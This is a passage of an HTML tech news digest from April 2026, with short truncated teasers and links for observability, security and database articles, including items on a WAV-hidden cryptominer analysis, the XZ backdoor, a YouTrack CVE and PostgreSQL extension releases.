<h3 id="h3-grafana-alerting-respond-faster-and-get-situational-awareness-with-alert-enrichment-in-grafana-cloud" class="group relative scroll-mt-24">
        <a href="#h3-grafana-alerting-respond-faster-and-get-situational-awareness-with-alert-enrichment-in-grafana-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Grafana Alerting: Respond faster and get situational awareness with alert enrichment in Grafana Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-grafana-alerting-respond-faster-and-get-situational-awareness-with-alert-enrichment-in-grafana-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Alerts are meant to help teams respond quickly to problems, but too often they arrive without enough context to be immediately useful. An alert that says “CPU usage is high” still leaves the on-call e</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/grafana-alerting-respond-faster-and-get-situational-awareness-with-alert-enrichment-in-grafana-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-troubleshooting-environment-with-ai-analysis-in-aws-elastic-beanstalk" class="group relative scroll-mt-24">
        <a href="#h3-troubleshooting-environment-with-ai-analysis-in-aws-elastic-beanstalk" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Troubleshooting environment with AI analysis in AWS Elastic Beanstalk
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-troubleshooting-environment-with-ai-analysis-in-aws-elastic-beanstalk"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction AWS Elastic Beanstalk simplifies the process of deploying and scaling web applications. You upload your code, and Elastic Beanstalk handles capacity provisioning, load balancing, auto sca</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/troubleshooting-environment-with-ai-analysis-in-aws-elastic-beanstalk/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a-faster-way-to-pinpoint-performance-bottlenecks-using-profiles-drilldown-with-grafana-cloud-knowledge-graph" class="group relative scroll-mt-24">
        <a href="#h3-a-faster-way-to-pinpoint-performance-bottlenecks-using-profiles-drilldown-with-grafana-cloud-knowledge-graph" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A faster way to pinpoint performance bottlenecks: Using Profiles Drilldown with Grafana Cloud Knowledge Graph
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-faster-way-to-pinpoint-performance-bottlenecks-using-profiles-drilldown-with-grafana-cloud-knowledge-graph"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When you identify CPU or memory spikes in your services, it’s critical to understand why they’re happening. But switching between tools or crafting complex queries can slow you down when trying to pin</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/a-faster-way-to-pinpoint-performance-bottlenecks-using-profiles-drilldown-with-grafana-cloud-knowledge-graph/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-open-source-trap-why-trust-isnt-a-security-strategy" class="group relative scroll-mt-24">
        <a href="#h3-the-open-source-trap-why-trust-isnt-a-security-strategy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Open Source Trap: Why Trust Isn’t a Security Strategy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-open-source-trap-why-trust-isnt-a-security-strategy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The XZ Utils backdoor was a wake-up call, but the underlying problem it exposed has not gone away. Sophisticated adversaries are playing the long game, spending months or years earning trust within op</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/the-open-source-trap-why-trust-isnt-a-security-strategy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-security-issue-in-youtrack-cve-2026-33392-upgrade-recommended-for-server-versions-before-20253132953" class="group relative scroll-mt-24">
        <a href="#h3-security-issue-in-youtrack-cve-2026-33392-upgrade-recommended-for-server-versions-before-20253132953" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Security Issue in YouTrack (CVE-2026-33392): Upgrade Recommended for Server Versions Before 2025.3.132953
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-security-issue-in-youtrack-cve-2026-33392-upgrade-recommended-for-server-versions-before-20253132953"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A security vulnerability in YouTrack came to light in March 2026, and we fixed it immediately. Most of you don’t need to do anything, but we want to keep you informed. For most YouTrack administrators</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/youtrack/2026/04/security-issue-in-youtrack-cve-2026-33392/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-ai-driven-shift-in-vulnerability-discovery-what-maintainers-and-bug-finders-need-to-know" class="group relative scroll-mt-24">
        <a href="#h3-the-ai-driven-shift-in-vulnerability-discovery-what-maintainers-and-bug-finders-need-to-know" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The AI-driven shift in vulnerability discovery: What maintainers and bug finders need to know
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-ai-driven-shift-in-vulnerability-discovery-what-maintainers-and-bug-finders-need-to-know"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI models have recently drastically changed the sophistication, speed and scale of software vulnerability discovery. It is now trivial for non-experts to find real vulnerabilities in software with min</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/16/the-ai-driven-shift-in-vulnerability-discovery-what-maintainers-and-bug-finders-need-to-know/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-one-click-security-scanning-and-org-wide-alert-triage-come-to-advanced-security" class="group relative scroll-mt-24">
        <a href="#h3-one-click-security-scanning-and-org-wide-alert-triage-come-to-advanced-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 One-click security scanning and org-wide alert triage come to Advanced Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-one-click-security-scanning-and-org-wide-alert-triage-come-to-advanced-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’re shipping two major capabilities that change how security teams enable and act on application security in Azure DevOps: CodeQL default setup makes it possible to enable code scanning across your </p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 Azure DevOps Blog</strong></p>
<p><a href="https://devblogs.microsoft.com/devops/one-click-security-scanning-and-org-wide-alert-triage-come-to-advanced-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-navigating-enterprise-networking-challenges-with-amazon-eks-auto-mode" class="group relative scroll-mt-24">
        <a href="#h3-navigating-enterprise-networking-challenges-with-amazon-eks-auto-mode" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Navigating enterprise networking challenges with Amazon EKS Auto Mode
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-navigating-enterprise-networking-challenges-with-amazon-eks-auto-mode"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This post covers how EKS Auto Mode handles VPC CNI optimization, pod density scaling, network security implementation, and hybrid connectivity.</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/navigating-enterprise-networking-challenges-with-amazon-eks-auto-mode/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-credcheck-v47-has-been-released" class="group relative scroll-mt-24">
        <a href="#h3-credcheck-v47-has-been-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 credcheck v4.7 has been released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-credcheck-v47-has-been-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Antananarivo, Madagascar - April 19, 2026 PostgreSQL credcheck extension The credcheck PostgreSQL extension provides few general credential checks, which will be evaluated during the user creation, du</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/credcheck-v47-has-been-released-3277/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_dbms_job-v20-released" class="group relative scroll-mt-24">
        <a href="#h3-pg_dbms_job-v20-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_dbms_job v2.0 released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_dbms_job-v20-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Antananarivo, Madagascar - April 19, 2026 PostgreSQL DBMS_JOB compatibility extension pg_dbms_job is a new PostgreSQL extension to create, manage and use Oracle-style DBMS_JOB scheduled job. The use a</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_dbms_job-v20-released-3278/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pgconfeu-2026-announced-call-for-community-day-event-proposals-now-open" class="group relative scroll-mt-24">
        <a href="#h3-pgconfeu-2026-announced-call-for-community-day-event-proposals-now-open" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PGConf.EU 2026 Announced – Call for Community Day Event Proposals Now Open
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgconfeu-2026-announced-call-for-community-day-event-proposals-now-open"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are pleased to announce that PostgreSQL Conference Europe 2026 will take place in València, Spain, from October 20–23, 2026. As part of the conference, we will once again host a Community Events Da</p>
<p><strong>📅 Apr 19, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgconfeu-2026-announced-call-for-community-day-event-proposals-now-open-3276/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-apache-cloudberry-210-released-postgresql-based-mpp-database-for-analytics-ai-workloads" class="group relative scroll-mt-24">
        <a href="#h3-apache-cloudberry-210-released-postgresql-based-mpp-database-for-analytics-ai-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Apache Cloudberry 2.1.0 Released: PostgreSQL-Based MPP Database for Analytics & AI Workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-apache-cloudberry-210-released-postgresql-based-mpp-database-for-analytics-ai-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Apache Cloudberry (Incubating) community is pleased to announce the release of Apache Cloudberry 2.1.0, the latest version of its massively parallel processing (MPP) database designed for large-sc</p>
<p><strong>📅 Apr 19, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/apache-cloudberry-210-released-postgresql-based-mpp-database-for-analytics-ai-workloads-3274/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-redis-achieves-google-cloud-ready-distributed-cloud-status-ahead-of-google-cloud-next-26" class="group relative scroll-mt-24">
        <a href="#h3-redis-achieves-google-cloud-ready-distributed-cloud-status-ahead-of-google-cloud-next-26" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Redis achieves Google Cloud Ready, Distributed Cloud status ahead of Google Cloud Next ‘26
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-redis-achieves-google-cloud-ready-distributed-cloud-status-ahead-of-google-cloud-next-26"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are heading into Google Cloud Next 2026 in Las Vegas with momentum. Redis has officially been approved as a validated solution on Google Cloud’s Google Distributed Cloud (GDC) platform. Our SaaS-in</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/redis-achieves-google-cloud-ready-distributed-cloud-status-ahead-of-google-cloud-next-26/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-happens-to-a-database-when-the-user-is-an-ai-agent" class="group relative scroll-mt-24">
        <a href="#h3-what-happens-to-a-database-when-the-user-is-an-ai-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What Happens to a Database When the User is an AI agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-happens-to-a-database-when-the-user-is-an-ai-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: This post originally appeared on The New Stack and is republished with permission. The original version is available here. In the past, we judged enterprise databases by how useful they</p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/what-makes-a-database-for-ai-agents-different/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-hidden-insanity-of-dynamodb-pricing" class="group relative scroll-mt-24">
        <a href="#h3-the-hidden-insanity-of-dynamodb-pricing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Hidden Insanity of DynamoDB Pricing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-hidden-insanity-of-dynamodb-pricing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how to navigate some of the sneakiest aspects of DynamoDB pricing</p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/15/the-hidden-insanity-of-dynamodb-pricing/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-research-reveals-overcoming-legacy-tech-issues-key-to-ai-success" class="group relative scroll-mt-24">
        <a href="#h3-new-research-reveals-overcoming-legacy-tech-issues-key-to-ai-success" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Research Reveals Overcoming Legacy Tech Issues Key to AI Success
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-research-reveals-overcoming-legacy-tech-issues-key-to-ai-success"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This guest post comes from IDC’s Dr. William Lee, Senior Research Director, Service Provider and Core Infrastructure Research. MongoDB commissioned IDC to explore the connection between legacy infrast</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 MongoDB Blog</strong></p>
<p><a href="https://www.mongodb.com/company/blog/innovation/new-research-reveals-overcoming-legacy-tech-issues-key-ai-success"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-api-throttling-algorithms-patterns-mistakes-to-avoid" class="group relative scroll-mt-24">
        <a href="#h3-api-throttling-algorithms-patterns-mistakes-to-avoid" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 API throttling: Algorithms, patterns & mistakes to avoid
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-api-throttling-algorithms-patterns-mistakes-to-avoid"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most teams add rate limiting once and never revisit it. They pick a fixed window counter because it&#39;s simple, deploy it with local counters, and move on. Then a misbehaving client gets through at 5x t</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/api-throttling-algorithms-patterns/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
